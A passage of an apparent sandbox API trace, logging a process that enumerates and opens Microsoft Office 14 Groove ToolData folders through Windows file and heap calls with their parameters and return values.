Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.850] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.850] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.850] NtClose (Handle=0xec) returned 0x0 [0069.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176c888) returned 1 [0069.850] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.852] GetLastError () returned 0x12 [0069.852] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d260 [0069.852] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.852] GetLastError () returned 0x12 [0069.852] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176c990) returned 1 [0069.852] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176ca98) returned 1 [0069.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176c888) returned 1 [0069.853] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.854] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.854] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.854] NtClose (Handle=0x198) returned 0x0 [0069.854] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176c888) returned 1 [0069.854] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d260 [0069.857] GetLastError () returned 0x12 [0069.857] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.857] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.857] GetLastError () returned 0x12 [0069.857] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176ca98) returned 1 [0069.857] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.858] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176c990) returned 1 [0069.858] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176c888) returned 1 [0069.858] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.861] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.861] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.861] NtClose (Handle=0xec) returned 0x0 [0069.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176c888) returned 1 [0069.861] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.861] GetLastError () returned 0x12 [0069.861] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d260 [0069.861] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.861] GetLastError () returned 0x12 [0069.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176c990) returned 1 [0069.861] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176ca98) returned 1 [0069.861] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176c888) returned 1 [0069.862] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.863] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.863] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.863] NtClose (Handle=0x198) returned 0x0 [0069.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176c888) returned 1 [0069.863] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d260 [0069.863] GetLastError () returned 0x12 [0069.863] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.863] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.863] GetLastError () returned 0x12 [0069.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176ca98) returned 1 [0069.863] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176c990) returned 1 [0069.863] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176c888) returned 1 [0069.863] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.864] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.864] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.864] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.864] NtClose (Handle=0xec) returned 0x0 [0069.865] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.865] GetLastError () returned 0x12 [0069.865] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d260 [0069.865] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.865] GetLastError () returned 0x12 [0069.865] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.865] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.865] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.865] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.865] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d260 [0069.867] GetLastError () returned 0x12 [0069.867] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.867] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.867] GetLastError () returned 0x12 [0069.867] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.868] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.869] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.869] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.869] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.871] GetLastError () returned 0x12 [0069.871] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d260 [0069.871] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview"), fInfoLevelId=0x0, lpFileInformation=0x174e628 | out: lpFileInformation=0x174e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.872] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e66c, lpLastWriteTime=0x174e66c) returned 0 [0069.872] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e6c4, lpOverlapped=0x0) returned 0 [0069.872] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", fInfoLevelId=0x1, lpFindFileData=0x174e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e474) returned 0x60d1a0 [0069.875] GetLastError () returned 0x12 [0069.875] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", fInfoLevelId=0x1, lpFindFileData=0x174e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e474) returned 0x60d2a0 [0069.875] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.875] GetLastError () returned 0x12 [0069.875] FindClose (in: hFindFile=0x60d2a0 | out: hFindFile=0x60d2a0) returned 1 [0069.876] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates"), fInfoLevelId=0x0, lpFileInformation=0x174e628 | out: lpFileInformation=0x174e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0069.877] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x174e66c, lpLastWriteTime=0x174e66c) returned 0 [0069.877] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e6c4, lpOverlapped=0x0) returned 0 [0069.877] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x174e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e474) returned 0x60d2a0 [0069.879] GetLastError () returned 0x12 [0069.879] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x174e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e474) returned 0x60d1a0 [0069.879] FindClose (in: hFindFile=0x60d2a0 | out: hFindFile=0x60d2a0) returned 1 [0069.879] GetLastError () returned 0x12 [0069.879] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.880] GetLastError () returned 0x12 [0069.880] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.880] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.880] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.880] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.880] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d260 [0069.884] GetLastError () returned 0x12 [0069.884] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.884] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.885] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles"), fInfoLevelId=0x0, lpFileInformation=0x174e628 | out: lpFileInformation=0x174e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.885] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e66c, lpLastWriteTime=0x174e66c) returned 0 [0069.885] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, 